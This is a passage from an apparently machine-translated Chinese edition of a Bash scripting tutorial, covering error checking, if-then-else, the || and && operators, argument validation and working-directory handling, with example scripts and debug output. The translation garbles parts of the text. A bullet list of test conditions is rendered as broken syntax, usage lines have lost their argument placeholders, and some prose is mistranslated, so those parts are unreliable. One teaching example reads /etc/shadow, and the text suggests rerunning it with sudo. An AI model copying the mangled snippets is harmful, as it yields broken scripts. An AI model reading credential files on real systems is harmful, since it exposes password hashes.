需要在**之后和**之前有一个**空格!最后,我们使用了扩展的速记语法,以`[[`开始,以`]]`结束。当我们打印返回代码时,它们都返回`0`,这意味着所有测试都成功了,即使语法不同。** - -The difference between [ ] and [[ ]] is minor, but can be very important. Simply said, the simple shorthand syntax of [ ] can introduce problems when variables or paths have whitespace in them. In this case, the test considers the whitespace the delimiter, which means the string `hello there` becomes two arguments instead of one (`hello + there`). There are other differences, but in the end our advice is really simple: **use the extended shorthand syntax of [[ ]]**. For more information, see the *Further reading* section on test. - -# 可变复习 - -作为一点小奖励,我们对`test-shorthand.sh`脚本有一点小改进。在前一章中,我们解释了,如果我们必须在一个脚本中多次使用同一个值,我们最好将其作为一个变量。如果变量的值在脚本执行过程中没有变化,并且不受用户输入的影响,我们使用一个常量。看看我们将如何在之前的脚本中融入这一点: - -```sh -reader@ubuntu:~/scripts/chapter_09$ cp test-shorthand.sh test-shorthand-variable.sh -reader@ubuntu:~/scripts/chapter_09$ vim test-shorthand-variable.sh -reader@ubuntu:~/scripts/chapter_09$ cat test-shorthand-variable.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-29 -# Description: Write faster tests with the shorthand, now even better -# with a CONSTANT! -# Usage: ./test-shorthand-variable.sh -##################################### - -DIRECTORY=/tmp/ - -# Test if the /tmp/ directory exists using the full command: -test -d ${DIRECTORY} -test_rc=$? - -# Test if the /tmp/ directory exists using the simple shorthand: -[ -d ${DIRECTORY} ] -simple_rc=$? - -# Test if the /tmp/ directory exists using the extended shorthand: -[[ -d ${DIRECTORY} ]] -extended_rc=$? - -# Print the results. -echo "The return codes are: ${test_rc}, ${simple_rc}, ${extended_rc}." - -reader@ubuntu:~/scripts/chapter_09$ bash test-shorthand-variable.sh -The return codes are: 0, 0, 0. -``` - -虽然最终结果是一样的,但是如果我们想要改变它,这个脚本会更加健壮。此外,它向我们展示了我们可以在`test`速记中使用变量,这将由 Bash 自动扩展。 - -# Bash 调试 - -我们还有一个锦囊妙计来证明值被适当地扩展了:运行带有调试日志记录的 Bash 脚本**。请看下面的执行:** - -```sh -reader@ubuntu:~/scripts/chapter_09$ bash -x test-shorthand-variable.sh -+ DIRECTORY=/tmp/ -+ test -d /tmp/ -+ test_rc=0 -+ '[' -d /tmp/ ']' -+ simple_rc=0 -+ [[ -d /tmp/ ]] -+ extended_rc=0 -+ echo 'The return codes are: 0, 0, 0.' -The return codes are: 0, 0, 0. -``` - -如果将此与实际脚本进行比较,您将看到脚本文本`test -d ${DIRECTORY}`在运行时解析为`test -d /tmp/`。这是因为,我们不是在跑`bash test-shorthand-variable.sh`,而是在跑`bash -x test-shorthand-variable.sh`。在这种情况下,`-x`标志告诉 Bash 在执行命令时打印命令及其参数— 如果您正在构建脚本,并且不确定脚本为什么没有按照您期望的那样运行,这是一件非常容易记住的事情! - -# 错误处理 - -到目前为止,我们已经研究了如何检查错误。然而,除了检查错误之外,还有一个同样重要的方面:处理错误。在我们继续介绍处理错误的更聪明的方法之前,我们将首先结合我们以前的经验和`if`和`test`退出错误! - -# 如果-那么-退出 - -正如您可能从上一章中回忆的那样,Bash 使用的`if-then`构造对(几乎)所有编程语言都是通用的。在它的基本形式中,想法是你测试一个条件(如果),如果那个条件是真的,你做一些事情(然后)。 - -这里有一个非常基本的例子:如果`name`长于或等于 2 个字符,那么`echo "hello ${name}"`。在这种情况下,我们假设一个名字至少要有 2 个字符。如果不是,输入无效,我们不会给它一个“你好”。 - -在下面的脚本`if-then-exit.sh`中,我们将看到我们的目标是使用`cat`打印一个文件的内容。但是,在此之前,我们会检查文件是否存在,如果不存在,我们会退出脚本,并向调用者发送一条消息,指明发生了什么错误: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim if-then-exit.sh -reader@ubuntu:~/scripts/chapter_09$ cat if-then-exit.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-30 -# Description: Use the if-then-exit construct. -# Usage: ./if-then-exit.sh -##################################### - -FILE=/tmp/random_file.txt - -# Check if the file exists. -if [[ ! -f ${FILE} ]]; then - echo "File does not exist, stopping the script!" - exit 1 -fi - -# Print the file content. -cat ${FILE} - -reader@ubuntu:~/scripts/chapter_09$ bash -x if-then-exit.sh -+ FILE=/tmp/random_file.txt -+ [[ ! -f /tmp/random_file.txt ]] -+ echo 'File does not exist, stopping the script!' -File does not exist, stopping the script! -+ exit 1 -``` - -这个剧本的大部分现在应该都清楚了。我们在测试中使用了*扩展速记语法*,我们将在本书的其余部分中进行测试。`-f`标志在`test`的手册页中描述为*文件存在,并且是常规文件*。但是,我们在这里遇到了一个小问题:我们想打印文件(用`cat`,但前提是文件存在;否则,我们要用`echo`打印消息。在本章的后面,当我们介绍`if-then-else`时,我们将看到如何通过阳性检测来做到这一点。不过目前,如果我们正在检查的文件**不是现有文件**,我们希望测试给出一个真值。在这种情况下,从语义上讲,我们正在做以下事情:如果文件不存在,那么打印一条消息并退出。Bash 中的测试语法没有这个标志。幸运的是,我们可以使用一个强大的构造:感叹号!,否定/颠倒了测试! - -这方面的一些例子如下: - -* if[[-f/tmp/file]];如果文件/tmp/file 存在,则执行*做某事*->-*做某事* -* if [!-f/tmp/file]];如果文件/tmp/文件**不存在**,则执行*做某事* - > *做某事* -* if[[-n $ { variable }];如果变量${variable}不为空,则执行*做某事*->-*做某事* -* if [!-n $ { variable }]];然后*做某事* - > *做某事*在变量${variable}为**而非**不为空的情况下执行(因此,双负数表示只有变量实际为空时才执行做某事) -* if[[-z $ { variable }];如果变量${variable}为空,则执行*做某事*->-*做某事* -* if [!-z $ { variable }]];如果变量${variable}为**而非**为空,则执行*做某事* - > *做某事* - -你应该知道,最后四个例子是重叠的。这是因为旗帜`-n`(非零)和`-z`(零)已经是彼此的对立面。既然我们可以用否定测试!,这意味着`-z`等于`! -n`,`! -z`等于`-n`。在这种情况下,你用`-n`还是没关系!`-z`。我们建议您使用特定的标志,如果它是可用的,在使用另一个标志的否定之前。 - -让我们回到我们的剧本。当我们通过使用否定的文件存在测试发现文件不存在时,我们向调用者打印出有用的消息并退出脚本。在这种情况下,我们从未到达`cat`命令,但由于文件无论如何都不存在,`cat`永远不会成功。如果我们继续执行死刑,我们将会看到`cat`的错误信息。在`cat`的情况下,这个消息并不比我们自己的消息差,但是对于其他一些命令来说,错误消息肯定不总是像我们希望的那样清晰;在这种情况下,用明确的信息检查我们自己并不是一件坏事! - -这里还有一个例子,我们使用 if 和 test 来查看我们将在变量中捕获的状态代码: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim if-then-exit-rc.sh -reader@ubuntu:~/scripts/chapter_09$ cat if-then-exit-rc.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-30 -# Description: Use return codes to stop script flow. -# Usage: ./if-then-exit-rc.sh -##################################### - -# Create a new top-level directory. -mkdir /temporary_dir -mkdir_rc=$? - -# Test if the directory was created successfully. -if [[ ${mkdir_rc} -ne 0 ]]; then - echo "mkdir did not successfully complete, stop script execution!" - exit 1 -fi - -# Create a new file in our temporary directory. -touch /temporary_dir/tempfile.txt - -reader@ubuntu:~/scripts/chapter_09$ bash if-then-exit-rc.sh -mkdir: cannot create directory ‘/temporary_dir’: Permission denied -mkdir did not successfully complete, stop script execution! -``` - -在这个脚本的第一个功能部分,我们试图创建顶层目录`/temporary_dir/`。由于只有 root 用户拥有这些权限,并且我们既没有以 root 用户的身份也没有以`sudo`的身份运行这些权限,因此`mkdir`失败了。当我们在`mkdir_rc`变量中捕捉到退出状态时,我们不知道确切的值(如果我们想要的话,我们可以打印它),但是我们可以确定一件事:它不是`0`,它是为成功执行而保留的。所以,我们这里有两个选项:我们可以检查退出状态*是否不等于 0* ,或者状态代码*是否等于 1* (这实际上是`mkdir`在这种情况下向母壳报告的内容)。我们通常更喜欢**检查没有成功**,而不是检查特定类型的失败(由不同的返回代码表示,如 1、113、127、255 等)。如果我们只停留在退出代码 1 上,我们将在所有没有得到 1 的情况下继续脚本:这有希望是 0,但是我们不确定。而且,一般来说,任何不成功的事情都应该停止脚本! - -对于这种情况,检查返回代码是否不是`0`,我们使用一个整数(记住,一个花哨的单词表示*数字*)进行比较。如果我们查看`man test`,我们可以看到`-ne`旗被描述为`INTEGER1 -ne INTEGER2: INTEGER1 is not equal to INTEGER2`。因此,对于我们的逻辑,这意味着,如果变量中捕获的返回代码是**n**ot**e**qual to`0`,则命令没有成功,我们应该停止。请记住,我们也可以使用`-eq` ( **eq** ual to)标志,并用`!`否定它,以获得相同的效果。 - -按照目前的形式,脚本比严格要求的要长一点。我们首先将返回代码存储在一个变量中,然后比较该变量。我们还可以直接使用`if-test`构造中的退出状态,比如: - -```sh -reader@ubuntu:~/scripts/chapter_09$ cp if-then-exit-rc.sh if-then-exit-rc-improved.sh -reader@ubuntu:~/scripts/chapter_09$ vim if-then-exit-rc-improved.sh -reader@ubuntu:~/scripts/chapter_09$ cat if-then-exit-rc-improved.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-30 -# Description: Use return codes to stop script flow. -# Usage: ./if-then-exit-rc-improved.sh -##################################### - -# Create a new top-level directory. -mkdir /temporary_dir - -# Test if the directory was created successfully. -if [[ $? -ne 0 ]]; then - echo "mkdir did not successfully complete, stop script execution!" - exit 1 -fi - -# Create a new file in our temporary directory. -touch /temporary_dir/tempfile.txt - -reader@ubuntu:~/scripts/chapter_09$ bash if-then-exit-rc-improved.sh -mkdir: cannot create directory ‘/temporary_dir’: Permission denied -mkdir did not successfully complete, stop script execution! -``` - -虽然这个*只为我们节省了一行(变量赋值),但它也为我们节省了一个不必要的变量。您可以看到,我们将测试更改为将 0 与$进行比较?。我们知道无论如何都要检查执行情况,所以我们不妨马上就做。如果我们以后需要这样做,我们仍然需要将它保存在一个变量中,因为请记住:退出状态只有在运行命令后才直接可用。此后,它被后面命令的退出状态覆盖。* - -# 如果-那么-否则 - -到现在,你有希望感受到`if-then`逻辑有多有用。然而,你可能会觉得仍然缺少一些东西。如果是这样,你就对了!没有 ELSE 语句,一个`if-then`构造是不完整的。`if-then-else`结构允许我们指定如果 if 子句中的测试**不**等于真,会发生什么。从语义上讲,它可以翻译为: - -IF condition, THEN do-something, ELSE (otherwise) do-something-else - -我们可以很容易地说明这一点,方法是使用我们早期的脚本之一`if-then-exit.sh`,并优化脚本和代码的流程: - -```sh -reader@ubuntu:~/scripts/chapter_09$ cp if-then-exit.sh if-then-else.sh -reader@ubuntu:~/scripts/chapter_09$ vim if-then-else.sh -reader@ubuntu:~/scripts/chapter_09$ cat if-then-else.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-30 -# Description: Use the if-then-else construct. -# Usage: ./if-then-else.sh -##################################### - -FILE=/tmp/random_file.txt - -# Check if the file exists. -if [[ ! -f ${FILE} ]]; then - echo "File does not exist, stopping the script!" - exit 1 -else - cat ${FILE} # Print the file content. -fi - -reader@ubuntu:~/scripts/chapter_09$ bash if-then-else.sh -File does not exist, stopping the script! -reader@ubuntu:~/scripts/chapter_09$ touch /tmp/random_file.txt -reader@ubuntu:~/scripts/chapter_09$ bash -x if-then-else.sh -+ FILE=/tmp/random_file.txt -+ [[ ! -f /tmp/random_file.txt ]] -+ cat /tmp/random_file.txt -``` - -现在,这开始看起来像什么了!我们将`cat`命令移入`if-then-else`逻辑块。现在,感觉(而且是!)就像一个命令:如果文件不存在,打印一条错误消息并退出,否则打印其内容。不过,我们使用 then 块来处理错误情况有点奇怪;按照惯例,这是留给成功的条件。我们可以通过交换 then 和 else 块使我们的脚本更加直观;然而,我们还需要反转我们的测试条件。让我们来看看: - -```sh -reader@ubuntu:~/scripts/chapter_09$ cp if-then-else.sh if-then-else-proper.sh -reader@ubuntu:~/scripts/chapter_09$ vim if-then-else-proper.sh -reader@ubuntu:~/scripts/chapter_09$ cat if-then-else-proper.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-30 -# Description: Use the if-then-else construct, now properly. -# Usage: ./if-then-else-proper.sh file-name -##################################### - -file_name=$1 - -# Check if the file exists. -if [[ -f ${file_name} ]]; then - cat ${file_name} # Print the file content. -else - echo "File does not exist, stopping the script!" - exit 1 -fi - -reader@ubuntu:~/scripts/chapter_09$ bash -x if-then-else-proper.sh /home/reader/textfile.txt -+ FILE=/home/reader/textfile.txt -+ [[ -f /home/reader/textfile.txt ]] -+ cat /home/reader/textfile.txt -Hi, this is some text. -``` - -我们在此脚本中所做的更改如下: - -* 我们用用户输入变量`file_name`替换了硬编码的文件常数 -* 我们移除了!这颠倒了`test` -* 我们交换了“然后”和“否则”执行块 - -现在,脚本首先检查文件是否存在,如果存在,它将打印其内容(成功场景)。如果文件不存在,脚本将打印一条错误消息,并以退出代码 1 退出(失败场景)。在实践中,`else`往往是为失败场景预留的,`then`是为成功场景预留的。然而,这些不是黄金规则,可能会有所不同,这取决于您可用的测试类型。如果你曾经写过一个脚本,并且你想使用 else 块来实现成功的场景,那就去做吧:只要你确定这是适合你的情况的正确选择,这绝对没有什么丢人的! - -You might have noticed that within an `if-then-else` block, the commands we execute in then or else are always preceded by two whitespaces. In scripting/programming, this is called indenting. It serves only a single function in Bash: to improve readability. By indenting those commands with two spaces, we know they're part of the then-else logic. In that same manner, it is much easier to see where the `then` ends and the `else` begins. Note that, in some languages, notably Python, whitespace is part of the programming language syntax and cannot be omitted! - -在此之前,我们只使用`if-then-else`逻辑进行错误检测,然后是退出`1`。然而,在某些情况下,*然后*和*否则*都可以用来完成脚本的目标,而不是其中一个用于错误处理。看看下面的脚本: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim empty-file.sh -reader@ubuntu:~/scripts/chapter_09$ cat empty-file.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-02 -# Description: Make sure the file given as an argument is empty. -# Usage: ./empty-file.sh -##################################### - -# Grab the first argument. -file_name=$1 - -# If the file exists, overwrite it with the always empty file -# /dev/null; otherwise, touch it. -if [[ -f ${file_name} ]]; then - cp /dev/null ${file_name} -else - touch ${file_name} -fi - -# Check if either the cp or touch worked correctly. -if [[ $? -ne 0 ]]; then - echo "Something went wrong, please check ${file_name}!" - exit 1 -else - echo "Succes, file ${file_name} is now empty." -fi - -reader@ubuntu:~/scripts/chapter_09$ bash -x empty-file.sh /tmp/emptyfile -+ file_name=/tmp/emptyfile -+ [[ -f /tmp/emptyfile ]] -+ touch /tmp/emptyfile -+ [[ 0 -ne 0 ]] -+ echo 'Succes, file /tmp/emptyfile is now empty.' -Succes, file /tmp/emptyfile is now empty. -reader@ubuntu:~/scripts/chapter_09$ bash -x empty-file.sh /tmp/emptyfile -+ file_name=/tmp/emptyfile -+ [[ -f /tmp/emptyfile ]] -+ cp /dev/null /tmp/emptyfile -+ [[ 0 -ne 0 ]] -+ echo 'Succes, file /tmp/emptyfile is now empty.' -Succes, file /tmp/emptyfile is now empty. -``` - -我们使用这个脚本来确保文件存在并且是空的。基本上有两种情况:文件存在(并且*可能*不是空的)或者不存在。在我们的 **if** 测试中,我们检查文件是否存在。如果是,我们通过将`/dev/null`(始终为空)复制到用户给定的位置,用空文件替换。否则,如果文件不存在,我们只需使用`touch`创建即可。 - -在脚本的执行中可以看到,我们第一次运行这个脚本的时候,文件是不存在的,是用`touch`创建的。在接下来的脚本运行中,文件确实存在(因为它是在第一次运行中创建的)。这次在调试中可以看到使用了`cp`。因为我们想确定这两个动作是否成功,所以我们包括了一个额外的 **if** 块,它处理退出状态检查,正如我们之前看到的。 - -# 速记语法 - -到目前为止,我们已经看到了 if 块的一些用法,以查看我们之前的命令是否成功运行。虽然功能很棒,但是在您怀疑可能发生错误的每个命令后使用 5-7 行确实增加了脚本的总长度!更大的问题将是可读性:如果一半的脚本是错误检查,可能很难触及代码的底部。幸运的是,有一种方法可以让我们在命令后直接检查错误。我们可以用||命令来实现这一点,这是逻辑 OR 的 Bash 版本。它的对应物&&是逻辑“与”的实现。为了说明这一点,我们将引入两个新命令:`true`和`false`。如果你看一下各自的手册页,你会发现你能得到的最清楚的答案: - -* 真:什么都不做,成功了 -* 错误:什么都不做,没有成功 - -以下脚本说明了我们如何使用||和&&来创建逻辑应用流。如果逻辑运算符不熟悉地形,请先查看*逻辑运算符*下的*进一步阅读*部分中的链接: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim true-false.sh -reader@ubuntu:~/scripts/chapter_09$ cat true-false.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-02 -# Description: Shows the logical AND and OR (&& and ||). -# Usage: ./true-false.sh -##################################### - -# Check out how an exit status of 0 affects the logical operators: -true && echo "We get here because the first part is true!" -true || echo "We never see this because the first part is true :(" - -# Check out how an exit status of 1 affects the logical operators: -false && echo "Since we only continue after && with an exit status of 0, this is never printed." -false || echo "Because we only continue after || with a return code that is not 0, we see this!" - -reader@ubuntu:~/scripts/chapter_09$ bash -x true-false.sh -+ true -+ echo 'We get here because the first part is true!' -We get here because the first part is true! -+ true -+ false -+ false -+ echo 'Because we only continue after || with a return code that is not 0, we see this!' -Because we only continue after || with a return code that is not 0, we see this! -``` - -正如我们所期望的,只有当 before 命令返回退出代码为 0 时,才会执行 before 之后的代码,而 before 之后的代码只有在退出代码为**而不是** 0(通常为 1)时才会执行。如果您仔细观察,您实际上可以在脚本的调试中看到这种情况。可以看到`true`被执行了两次,还有`false`。然而,我们最终看到的第一个`echo`是在第一个真之后,而我们看到的第二个`echo`是在第二个假之后!为了方便起见,我们在前面的代码中强调了这一点。 - -现在,我们如何使用它来处理错误?一个错误将给出一个不是 0 的退出状态,所以这相当于`false`命令。在我们的示例中,逻辑运算符||之后的代码是在 false 之后打印的。这是有道理的,因为要么`false`要么`echo`应该成功。这种情况下,由于`false`(默认)失败,执行`echo`。在下面的简单示例中,我们将向您展示如何在脚本中使用||运算符: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim logical-or.sh -reader@ubuntu:~/scripts/chapter_09$ cat logical-or.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-02 -# Description: Use the logical OR for error handling. -# Usage: ./logical-or.sh -##################################### - -# This command will surely fail because we don't have the permissions needed: -cat /etc/shadow || exit 123 - -reader@ubuntu:~/scripts/chapter_09$ cat /etc/shadow -cat: /etc/shadow: Permission denied -reader@ubuntu:~/scripts/chapter_09$ echo $? -1 -reader@ubuntu:~/scripts/chapter_09$ bash logical-or.sh -cat: /etc/shadow: Permission denied -reader@ubuntu:~/scripts/chapter_09$ echo $? -123 -``` - -我们尝试`cat`一个我们没有权限的文件(这是一件好事,因为`/etc/shadow`包含系统上所有用户的哈希密码)。当我们正常这样做的时候,我们收到的退出状态为 1,从我们的手册`cat`中可以看到。然而,在我们的脚本中,我们使用`exit 123`。如果我们的逻辑运算符完成了它的工作,我们将不会以默认的`1`退出,而是以退出状态 123 退出。当我们调用脚本时,我们会得到同样的`Permission denied`错误,但是这次当我们打印返回代码时,我们看到了预期的`123`。 - -If you really want to confirm that the code after || is only executed if the first part fails, run the script with `sudo`. In this case, you will see the contents of `/etc/shadow`, since root has those permissions and the exit code will be 0 instead of the earlier 1 and 123. - -同样,如果您只想在完全确定第一个命令已成功完成时执行代码,也可以使用&。为了以一种非常优雅的方式处理潜在的错误,最好在||之后组合`echo`和`exit`。在下一个示例中,在接下来的几页中,您将看到这是如何实现的!在本书的剩余部分,我们将使用这种方式处理错误,所以不要担心语法——在本书结束之前,您将会遇到更多次。 - -# 错误预防 - -此时,您应该对我们如何处理(用户输入)错误有一个坚定的把握。显然,上下文是这里的一切:根据情况,一些错误以不同的方式处理。本章还有一个比较重要的主题,那就是*防错*。虽然知道如何处理错误是一回事,但如果我们能在脚本执行期间完全防止错误,那就更好了。 - -# 检查参数 - -正如我们在前一章中提到的,当您处理传递给脚本的位置参数时,有几件事非常重要。其中一个是空白,表示参数之间的边界。如果我们需要将一个包含空格的参数传递给我们的脚本,我们需要用单引号或双引号将该参数括起来,否则它将被解释为多个参数。位置参数的另一个重要方面是获得正确的参数数量:不要太少,但也绝对不要太多。 - -通过检查传递的参数数量来启动我们的脚本(使用位置参数),我们可以验证用户是否正确调用了脚本。否则,我们可以指导用户如何正确调用它!以下示例向您展示了我们如何做到这一点: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim file-create.sh -reader@ubuntu:~/scripts/chapter_09$ cat file-create.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-01 -# Description: Create a file with contents with this script. -# Usage: ./file-create.sh -##################################### - -# We need exactly three arguments, check how many have been passed to -# the script. -if [[ $# -ne 3 ]]; then - echo "Incorrect usage!" - echo "Usage: $0 " - exit 1 -fi -# Arguments are correct, lets continue. - -# Save the arguments into variables. -directory_name=$1 -file_name=$2 -file_content=$3 - -# Create the absolute path for the file. -absolute_file_path=${directory_name}/${file_name} - -# Check if the directory exists; otherwise, try to create it. -if [[ ! -d ${directory_name} ]]; then - mkdir ${directory_name} || { echo "Cannot create directory, exiting script!"; exit 1; } -fi - -# Try to create the file, if it does not exist. -if [[ ! -f ${absolute_file_path} ]]; then - touch ${absolute_file_path} || { echo "Cannot create file, exiting script!"; exit 1; } -fi - -# File has been created, echo the content to it. -echo ${file_content} > ${absolute_file_path} - -reader@ubuntu:~/scripts/chapter_09$ bash -x file-create.sh /tmp/directory/ newfile "Hello this is my file" -+ [[ 3 -ne 3 ]] -+ directory_name=/tmp/directory/ -+ file_name=newfile -+ file_content='Hello this is my file' -+ absolute_file_path=/tmp/directory//newfile -+ [[ ! -d /tmp/directory/ ]] -+ mkdir /tmp/directory/ -+ [[ ! -f /tmp/directory//newfile ]] -+ touch /tmp/directory//newfile -+ echo Hello this is my file -reader@ubuntu:~/scripts/chapter_09$ cat /tmp/directory/newfile -Hello this is my file -``` - -为了恰当地说明这个原则和我们之前看到的其他一些原则,我们创建了一个相当大而复杂的脚本(与您之前看到的相比)。为了便于理解,我们将把它分成几部分,并依次讨论每一部分。我们将从标题开始: - -```sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-01 -# Description: Create a file with contents with this script. -# Usage: ./file-create.sh -##################################### -... -``` - -舍邦和大部分地区现在应该感觉很自然。然而,当指定位置参数时,如果它们是**必需的**,我们喜欢将它们包含在 **< >** 中,如果它们是**可选的**,我们喜欢将它们包含在 **[]** 中(例如,如果它们有默认值,我们将在本章末尾看到)。这是脚本中常见的模式,您最好遵循它!脚本的下一部分是对参数数量的实际检查: - -```sh -... -# We need exactly three arguments, check how many have been passed to the script. -if [[ $# -ne 3 ]]; then - echo "Incorrect usage!" - echo "Usage: $0 " - exit 1 -fi -# Arguments are correct, lets continue. -... -``` - -这一部分的魔力来自$#组合。类似于$?exit status 构造,$#被解析为已传递给脚本的参数数。因为这是一个整数,我们可以使用`test`的`-ne`和`-eq`标志,将其与我们需要的参数数量进行比较:三个。任何不是三的*都不适用于这个脚本,这就是为什么我们以这种方式构建检查。如果*测试为阳性*(表示结果为阴性!),我们执行`then-logic`,告知用户调用脚本不正确。为了防止这种情况再次发生,还传递了使用脚本的正确方法。我们在这里再使用一个技巧,即`$0`标志。这将解析为脚本名称,这就是为什么在错误调用的情况下,脚本名称会很好地打印在实际预期参数的旁边,如下所示:* - -```sh -reader@ubuntu:~/scripts/chapter_09$ bash file-create.sh 1 2 3 4 5 -Incorrect usage! -Usage: file-create.sh -``` - -由于这个检查和给用户的提示,我们期望用户只错误地调用这个脚本一次。因为我们还没有开始处理脚本的功能,所以我们不会出现脚本中一半任务已经完成的情况,即使我们在脚本开始时知道**它永远不会完成,因为它缺少脚本需要的信息。让我们进入脚本的下一部分:** - -```sh -... -# Save the arguments into variables. -directory_name=$1 -file_name=$2 -file_content=$3 - -# Create the absolute path for the file. -absolute_file_path=${directory_name}/${file_name} -... -``` - -作为总结,我们可以看到,我们将位置用户输入分配给了一个变量名,我们选择这个变量名来表示它正在保存的东西。因为我们需要不止一次地使用最终文件的绝对路径,所以我们根据用户输入组合两个变量来形成文件的绝对路径。脚本的下一部分包含实际功能: - -```sh -... -# Check if the directory exists; otherwise, try to create it. -if [[ ! -d ${directory_name} ]]; then - mkdir ${directory_name} || { echo "Cannot create directory, exiting script!"; exit 1; } -fi - -# Try to create the file, if it does not exist. -if [[ ! -f ${absolute_file_path} ]]; then - touch ${absolute_file_path} || { echo "Cannot create file, exiting script!"; exit 1; } -fi - -# File has been created, echo the content to it. -echo ${file_content} > ${absolute_file_path} -``` - -对于文件和目录,我们都进行类似的检查:我们检查目录/文件是否已经存在,或者我们是否需要创建它。通过使用||带有`echo`和`exit`的速记,我们检查`mkdir`和`touch`是否返回退出状态 0。记住,如果他们返回除 0 之外的任何东西*,那么||之后和大括号内的所有内容都将被执行,在这种情况下退出脚本!* - -最后一部分包含对文件的回显的*重定向*。简单地说,echo 的输出被重定向到一个文件中。重定向将在[第 12 章](12.html)、*脚本中使用管道和重定向*中进行深入讨论。现在,接受我们用于`${file_content}`的文本将被写入文件(您可以自己检查)。 - -# 管理绝对和相对路径 - -有一个问题我们还没有讨论:用绝对路径和相对路径运行脚本。这看似微不足道,但绝对不是。您运行的大多数命令,尽管是直接交互的,或者是从您调用的脚本中运行的,都使用您当前的工作目录作为它们当前的工作目录。您可能希望脚本中的命令默认为脚本所在的目录,但是由于脚本只不过是当前 shell 的一个分叉(如本章开头所述),所以它也继承了当前的工作目录。我们可以通过创建一个将文件复制到相对路径的脚本来最好地说明这一点: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim log-copy.sh -reader@ubuntu:~/scripts/chapter_09$ cat log-copy.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-02 -# Description: Copy dpkg.log to a local directory. -# Usage: ./log-copy.sh -##################################### - -# Create the directory in which we'll store the file. -if [[ ! -d dpkg ]]; then - mkdir dpkg || { echo "Cannot create the directory, stopping script."; exit 1; } -fi - -# Copy the log file to our new directory. -cp /var/log/dpkg.log dpkg || { echo "Cannot copy dpkg.log to the new directory."; exit 1; } - -reader@ubuntu:~/scripts/chapter_09$ ls -l dpkg -ls: cannot access 'dpkg': No such file or directory -reader@ubuntu:~/scripts/chapter_09$ bash log-copy.sh -reader@ubuntu:~/scripts/chapter_09$ ls -l dpkg -total 632 --rw-r--r-- 1 reader reader 643245 Oct 2 19:39 dpkg.log -reader@ubuntu:~/scripts/chapter_09$ cd /tmp -reader@ubuntu:/tmp$ ls -l dpkg -ls: cannot access 'dpkg': No such file or directory -reader@ubuntu:/tmp$ bash /home/reader/scripts/chapter_09/log-copy.sh -reader@ubuntu:/tmp$ ls -l dpkg -total 632 --rw-r--r-- 1 reader reader 643245 Oct 2 19:39 dpkg.log -``` - -脚本本身非常简单——检查目录是否存在,否则创建它。您可以使用我们的速记错误处理来检查`mkdir`上的错误。接下来,将一个已知文件(`/var/log/dpkg.log`)复制到`dpkg`目录。第一次运行时,我们和脚本在同一个目录中。我们可以看到在那里创建的`dpkg`目录以及里面复制的文件。然后,我们将当前工作目录移动到`/tmp/`并再次运行脚本,这次使用绝对路径而不是第一次调用的相对路径。现在可以看到`dpkg`目录是在`/tmp/dpkg/`创建的!不是真的想不到,但是我们怎么会`avoid`这个呢?脚本开头的一行就可以解决这个问题: - -```sh -reader@ubuntu:~/scripts/chapter_09$ cp log-copy.sh log-copy-improved.sh -reader@ubuntu:~/scripts/chapter_09$ vim log-copy-improved.sh -reader@ubuntu:~/scripts/chapter_09$ cat log-copy-improved.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-10-02 -# Description: Copy dpkg.log to a local directory. -# Usage: ./log-copy-improved.sh -##################################### - -# Change directory to the script location. -cd $(dirname $0) - -# Create the directory in which we'll store the file. -if [[ ! -d dpkg ]]; then - mkdir dpkg || { echo "Cannot create the directory, stopping script."; exit 1; } -fi - -# Copy the log file to our new directory. -cp /var/log/dpkg.log dpkg || { echo "Cannot copy dpkg.log to the new directory."; exit 1; } - -reader@ubuntu:~/scripts/chapter_09$ cd /tmp/ -reader@ubuntu:/tmp$ rm -rf /tmp/dpkg/ -reader@ubuntu:/tmp$ rm -rf /home/reader/scripts/chapter_09/dpkg/ -reader@ubuntu:/tmp$ bash -x /home/reader/scripts/chapter_09/log-copy-improved.sh -++ dirname /home/reader/scripts/chapter_09/log-copy-improved.sh -+ cd /home/reader/scripts/chapter_09 -+ [[ ! -d dpkg ]] -+ mkdir dpkg -+ cp /var/log/dpkg.log dpkg -reader@ubuntu:/tmp$ ls -l dpkg -ls: cannot access 'dpkg': No such file or directory -``` - -正如代码执行应该显示的,我们现在做所有与脚本位置相关的事情。这是通过一点点 Bash 魔法结合`dirname`命令实现的。这个命令也很简单:它打印我们传递的目录名,在本例中是$0。您可能还记得,$0 解析为脚本名。From /tmp/,这是绝对路径;如果我们从另一个目录调用它,它可能是一个相对路径。如果我们和脚本在同一个目录下,`dirname`,$0 将导致`.`,这意味着我们`cd`到当前目录。这并不是真正需要的,但也没有任何坏处。对于一个更加健壮的脚本来说,这似乎是一个小小的回报,我们现在可以在任何地方调用它! - -For now, we won't go into details regarding the `$(...)` syntax. We will further discuss this in [Chapter 12](12.html), *Using Pipes and Redirection in Scripts*. At this point, remember that this allows us to get a value which we can pass to `cd` in a single line. - -# 处理 y/n - 